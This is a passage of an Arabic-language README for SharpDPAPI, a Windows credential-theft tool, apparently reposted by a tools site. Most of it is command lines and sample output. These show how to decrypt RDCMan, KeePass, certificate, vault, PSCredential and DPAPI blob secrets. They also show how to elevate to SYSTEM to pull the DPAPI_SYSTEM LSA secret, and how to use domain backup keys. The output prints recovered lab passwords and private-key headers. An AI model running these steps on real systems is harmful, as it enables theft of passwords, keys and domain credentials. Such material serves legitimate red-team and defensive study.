  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using CryptUnprotectData() to decrypt RDG passwords

[*] Triaging RDCMan Settings Files for current user

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

استخدام مفتاح احتياطي لمجال DPAPI لفك تشفير أي مفاتيح رئيسية قابلة للاكتشاف أولاً:

root@kitploit:~
C:\Temp>SharpDPAPI.exe rdg /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.3.0


[*] Action: RDG Triage

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...

[*] Triaging RDCMan.settings Files for ALL users

    RDCManFile    : C:\Users\harmj0y\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
    Accessed      : 5/9/2019 11:52:58 AM
    Modified      : 5/9/2019 11:52:58 AM
    Recent Server : test\primary.testlab.local

        Cred Profiles

          Profile Name : testprofile
            UserName   : testlab.local\dfm.a
            Password   : Password123!

        Default Logon Credentials

          Profile Name : Custom
            UserName   : TESTLAB\harmj0y
            Password   : Password123!

      C:\Users\harmj0y\Documents\test.rdg

        Servers

          Name         : secondary.testlab.local

          Name         : primary.testlab.local
          Profile Name : Custom
            UserName   : TESTLAB\dfm.a
            Password   : Password123!

keepass

أمر keepass سيبحث عن ملفات ProtectedUserKey.bin الخاصة بـ KeePass للمستخدم الحالي (أو لجميع المستخدمين إذا كان مرتفع الصلاحيات) وسيفك تشفيرها إما أ) باستخدام أي مفتاح رئيسي {GUID}:SHA1 يتم تمريره، أو ب) باستخدام ملف /mkfile:FILE يحتوي على تعيين واحد أو أكثر من {GUID}:SHA1، أو ج) باستخدام مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار masterkeys)، أو د) باستخدام /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول فك تشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.

سيستخدم العلم /unprotect دالة CryptUnprotectData() لفك تشفير بايتات المفتاح، إذا تم تشغيل الأمر من سياق المستخدم الذي حفظ كلمات المرور. يمكن القيام بذلك من سياق غير مرتفع الصلاحيات، دون الحاجة إلى لمس LSASS. لمعرفة سبب عدم استخدام هذا الأسلوب لبيانات الاعتماد/الخزائن، راجع توثيق بنجامين هنا.

يمكن تحديد ملف ProtectedUserKey.bin محدد، أو ملف .RDC (أو مجلد ملفات .RDG) باستخدام /target:FILE أو /target:C:\Folder\. إذا تم تحديد ملف، تكون قيم {GUID}:SHA1 (أو /unprotect) مطلوبة، وإذا تم تحديد مجلد، فيجب إما أ) توفير قيم {GUID}:SHA1 أو ب) أن يحتوي المجلد على مفاتيح رئيسية DPAPI ويجب توفير مفتاح احتياطي للمجال /pvk.

يمكن استخدام بايتات ملف المفتاح المفكوكة مع إصدار KeePass المعدل في KeeThief.

استخدام /unprotect لفك تشفير أي مادة مفتاحية تم العثور عليها:

root@kitploit:~
C:\Temp> SharpDPAPI.exe  keepass /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: KeePass Triage

[*] Using CryptUnprotectData() for decryption.

[*] Triaging KeePass ProtectedUserKey.bin files for current user

    File             : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
    Accessed         : 3/1/2021 1:38:22 PM
    Modified         : 1/4/2021 5:49:49 PM
    guidMasterKey    : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    size             : 210
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Key Bytes        : 39 2E 63 EF 0E 37 E8 5C 34 ...


SharpDPAPI completed in 00:00:00.0566660

certificates

أمر certificates سيبحث عن مفاتيح خاصة لشهادات DPAPI المشفرة للمستخدم وسيفك تشفيرها إما أ) باستخدام أي مفتاح رئيسي {GUID}:SHA1 يتم تمريره، أو ب) باستخدام ملف /mkfile:FILE يحتوي على تعيين واحد أو أكثر من {GUID}:SHA1، أو ج) باستخدام مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار masterkeys)، أو د) باستخدام /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول فك تشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.

سيستخدم العلم /unprotect دالة CryptUnprotectData() لفك تشفير المفاتيح الخاصة، إذا تم تشغيل الأمر من سياق المستخدم الذي تحاول الوصول إلى شهاداته. يمكن القيام بذلك من سياق غير مرتفع الصلاحيات، دون الحاجة إلى لمس LSASS. لمعرفة سبب عدم استخدام هذا الأسلوب لبيانات الاعتماد/الخزائن، راجع توثيق بنجامين هنا.

يمكن تحديد شهادة محددة باستخدام /target:FILE أو /target:C:\Folder\. في كلتا الحالتين، تكون قيم {GUID}:SHA1 (أو /unprotect) مطلوبة أو ب) يجب أن يحتوي المجلد على مفاتيح رئيسية DPAPI ويجب توفير مفتاح احتياطي للمجال /pvk.

بشكل افتراضي، يتم عرض المفاتيح الخاصة القابلة للربط بشهادة مثبتة مرتبطة فقط. سيعرض الأمر /showall جميع المفاتيح الخاصة المفكوكة.

استخدم العلم /cng للمفاتيح الخاصة لـ CNG (الافتراضي هو capi).

استخدام تعيينات المفاتيح الرئيسية {GUID}:SHA1 للمجال:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage

Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1daThumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Secure Email (1.3.6.1.5.5.7.3.4)
        Encrypting File System (1.3.6.1.4.1.311.10.3.4)

    [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

استخدام /unprotect لفك تشفير أي شهادات مستخدم تم العثور عليها:

root@kitploit:~
C:\Temp> SharpDPAPI.exe certificates /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.3


[*] Action: Certificate Triage

[*] Using CryptUnprotectData() for decryption.


Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
    Description      : Private Key
    algCrypt         : CALG_AES_256 (keyLen 256)
    algHash          : CALG_SHA_512 (32782)
    Salt             : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
    HMAC             : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
    Unique Name      : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}

    Thumbprint       : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 10/18/2022 11:40:07 AM
    Expiry Date      : 10/18/2023 12:00:07 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Private key file f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----

استخدام مفتاح احتياطي لمجال DPAPI لفك تشفير أي مفاتيح رئيسية قابلة للاكتشاف أولاً:

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!


[*] User master key cache:

{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...



Folder       : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104

  File               : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {dab90445-0a08-4b27-9110-b75d4a7894d0}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : ef98458bca7135fe1bb89b3715180ae6
    HMAC             : 5c3c3da2a4f6548a0186c22f86d7bc85
    Unique Name      : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da

    Thumbprint       : 98A03BC583861DCC19045758C0E0C05162091B6C
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=harmj0y
    Valid Date       : 2/22/2021 2:19:02 PM
    Expiry Date      : 2/22/2022 2:19:02 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Secure Email (1.3.6.1.5.5.7.3.4)
        Encrypting File System (1.3.6.1.4.1.311.10.3.4)

    [*] Private key file 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----

triage

يقوم أمر triage بتشغيل أوامر credentials و vaults و rdg و certificates الخاصة بالمستخدم.

فرز الجهاز

machinemasterkeys

يقوم أمر machinemasterkeys برفع الصلاحيات إلى SYSTEM لاسترداد سر LSA الخاص بـ DPAPI_SYSTEM والذي يُستخدم بعد ذلك لفك تشفير أي مفاتيح رئيسية للجهاز DPAPI تم العثور عليها. سيعيد مجموعة من تعيينات masterkey {GUID}:SHA1.

يلزم وجود صلاحيات إدارية محلية (حتى نتمكن من استرداد سر LSA الخاص بـ DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinemasterkeys

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Masterkey File Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...

machinecredentials

يقوم أمر machinecredentials برفع الصلاحيات إلى SYSTEM لاسترداد سر LSA الخاص بـ DPAPI_SYSTEM والذي يُستخدم بعد ذلك لفك تشفير أي مفاتيح رئيسية للجهاز DPAPI تم العثور عليها. تُستخدم هذه المفاتيح بعد ذلك لفك تشفير أي ملفات بيانات اعتماد للجهاز تم العثور عليها.

يلزم وجود صلاحيات إدارية محلية (حتى نتمكن من استرداد سر LSA الخاص بـ DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinecredentials

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Credential Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging System Credentials


Folder       : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials

  CredFile           : C73A55F92FAE222C18A8989FEA28A1FE

    guidMasterKey    : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
    size             : 544
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      : Local Credential Data

    LastWritten      : 3/24/2019 7:08:43 PM
    TargetName       : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
    TargetAlias      :
    Comment          :
    UserName         : TESTLAB\harmj0y
    Credential       : Password123!


Folder       : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials

  CredFile           : DFBE70A7E5CC19A398EBF1B96859CE5D

    ...(snip)...

machinevaults

يقوم أمر machinevaults برفع الصلاحيات إلى SYSTEM لاسترداد سر LSA الخاص بـ DPAPI_SYSTEM والذي يُستخدم بعد ذلك لفك تشفير أي مفاتيح رئيسية للجهاز DPAPI تم العثور عليها. تُستخدم هذه المفاتيح بعد ذلك لفك تشفير أي خزائن (Vaults) للجهاز تم العثور عليها.

يلزم وجود صلاحيات إدارية محلية (حتى نتمكن من استرداد سر LSA الخاص بـ DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe machinevaults

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.2.0


[*] Action: Machine DPAPI Vault Triage

[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3

[*] SYSTEM master key cache:

{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...


[*] Triaging SYSTEM Vaults


[*] Triaging Vault folder: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28

  VaultID            : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
  Name               : Web Credentials
    guidMasterKey    : {0bd732d9-c396-4f9a-a69a-508632c05235}
    size             : 324
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782/26128
    description      :
    aes128 key       : 74CE3D7BCC4D0C4734931041F6D00D09
    aes256 key       : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081

...(snip)...

certificates /machine

يستخدم أمر certificates /machine متجر شهادات الجهاز للبحث عن مفاتيح خاصة للشهادات القابلة لفك التشفير. /mkfile:X و {GUID}:masterkey قابلة للاستخدام مع الأمر /target:\[file|folder\]، وإلا سيقوم SharpDPAPI برفع الصلاحيات إلى SYSTEM لاسترداد سر LSA الخاص بـ DPAPI_SYSTEM والذي يُستخدم بعد ذلك لفك تشفير أي مفاتيح رئيسية للجهاز DPAPI تم العثور عليها. تُستخدم هذه المفاتيح بعد ذلك لفك تشفير أي مفاتيح خاصة مشفرة بنظام DPAPI للجهاز تم العثور عليها.

افتراضياً، يتم عرض المفاتيح الخاصة المرتبطة بشهادة مثبتة مرتبطة فقط. سيعرض الأمر /showall جميع المفاتيح الخاصة المفكوكة.

يلزم وجود صلاحيات إدارية محلية (حتى نتمكن من استرداد سر LSA الخاص بـ DPAPI_SYSTEM).

root@kitploit:~
C:\Temp>SharpDPAPI.exe certificates /machine

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.10.0


[*] Action: Certificate Triage
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()

[*] Secret  : DPAPI_SYSTEM
[*]    full: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*]    m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3


[*] SYSTEM master key cache:

{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(snip)...


[*] Triaging System Certificates


Folder       : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys

  File               : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0

    Provider GUID    : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
    Master Key GUID  : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
    Description      : CryptoAPI Private Key
    algCrypt         : CALG_3DES (keyLen 192)
    algHash          : CALG_SHA (32772)
    Salt             : aa8c9e4849455660fc5fc96589f3e40e
    HMAC             : 9138559ef30fbd70808dca2c1ed02a29
    Unique Name      : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650

    Thumbprint       : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
    Issuer           : CN=theshire-DC-CA, DC=theshire, DC=local
    Subject          : CN=dev.theshire.local
    Valid Date       : 2/22/2021 3:50:43 PM
    Expiry Date      : 2/22/2022 3:50:43 PM
    Enhanced Key Usages:
        Client Authentication (1.3.6.1.5.5.7.3.2)
         [!] Certificate is used for client auth!
        Server Authentication (1.3.6.1.5.5.7.3.1)

    [*] Private key file 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 was recovered:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(snip)...
-----END CERTIFICATE-----

machinetriage

يقوم أمر machinetriage بتشغيل أوامر machinecredentials و machinevaults و certificates /machine الخاصة بالجهاز.

متنوعة

ps

سيقوم أمر ps بوصف/فك تشفير ملف PSCredential clixml تم تصديره. يجب توفير /target:FILE.xml.

سيقوم الأمر بـ: أ) فك تشفير الملف باستخدام أي تعيينات masterkey "{GUID}:SHA1" تم تمريرها، ب) ملف /mkfile:FILE يحتوي على تعيينات masterkey {GUID}:SHA1 واحدة أو أكثر، ج) استخدام مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار masterkeys)، أو د) استخدام /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول بحث لفك التشفير. يمكن استرداد تعيينات DPAPI GUID باستخدام أمر Mimikatz sekurlsa::dpapi.

سيستخدم العلم /unprotect وظيفة CryptUnprotectData() لفك تشفير ملف .xml للبيانات الاعتماد دون الحاجة إلى مفاتيح رئيسية، إذا تم تشغيل الأمر من سياق المستخدم الذي حفظ كلمات المرور. يمكن القيام بذلك من سياق غير مميز، دون الحاجة إلى لمس LSASS. لمعرفة سبب عدم استخدام هذا الأسلوب لبيانات الاعتماد/الخزائن، راجع توثيق Benjamin هنا.

فك تشفير ملف .xml للمعتمدة تم تصديره باستخدام CryptProtectData() (العلم /unprotect):

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 11:53:09 AM
    Modified         : 7/25/2019 11:53:09 AM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

استخدام تعيينات masterkey الخاصة بالمجال {GUID}:SHA1:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

استخدام مفتاح احتياطي لمجال DPAPI لفك تشفير أي مفاتيح رئيسية قابلة للاكتشاف أولاً:

root@kitploit:~
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe PSCredential .xml

[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!

[*] User master key cache:

{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3

    CredFile         : C:\Temp\cred.xml
    Accessed         : 7/25/2019 12:04:12 PM
    Modified         : 7/25/2019 12:04:12 PM
    User Name        : TESTLAB\user
    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    Password         : Password123!

blob

سيقوم أمر blob بوصف/فك تشفير كتلة DPAPI blob. يجب توفير /target:<BASE64|blob.bin>.

سيقوم الأمر بـ: أ) فك تشفير الكتلة باستخدام أي تعيينات masterkey "{GUID}:SHA1" تم تمريرها، ب) ملف /mkfile:FILE يحتوي على تعيينات masterkey {GUID}:SHA1 واحدة أو أكثر، ج) استخدام مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً (على غرار masterkeys)، أو د) استخدام /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، والتي تُستخدم بعد ذلك كجدول بحث لفك التشفير. يمكن استرداد تعيينات DPAPI GUID باستخدام أمر Mimikatz sekurlsa::dpapi.

سيستخدم العلم /unprotect وظيفة CryptUnprotectData() لفك تشفير الكتلة دون الحاجة إلى مفاتيح رئيسية، إذا تم تشغيل الأمر من سياق المستخدم الذي حفظ كلمات المرور. يمكن القيام بذلك من سياق غير مميز، دون الحاجة إلى لمس LSASS. لمعرفة سبب عدم استخدام هذا الأسلوب لبيانات الاعتماد/الخزائن، راجع توثيق Benjamin هنا.

فك تشفير كتلة blob باستخدام CryptProtectData() (العلم /unprotect):

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] Action: Describe DPAPI blob

[*] Using CryptUnprotectData() for decryption.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 170
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : Password123!

استخدام تعيينات masterkey الخاصة بالمجال {GUID}:SHA1:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3__                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] الإجراء: وصف blob DPAPI

[*] استخدام CryptUnprotectData() لفك التشفير.

    guidMasterKey    : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
    size             : 314
    flags            : 0x0
    algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
    description      :
    dec(blob)        : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...

استخدام مفتاح احتياطي لـ DPAPI للمجال لفك تشفير أي مفاتيح رئيسية قابلة للاكتشاف أولاً:

root@kitploit:~
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...

  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.5.0


[*] الإجراء: وصف blob DPAPI

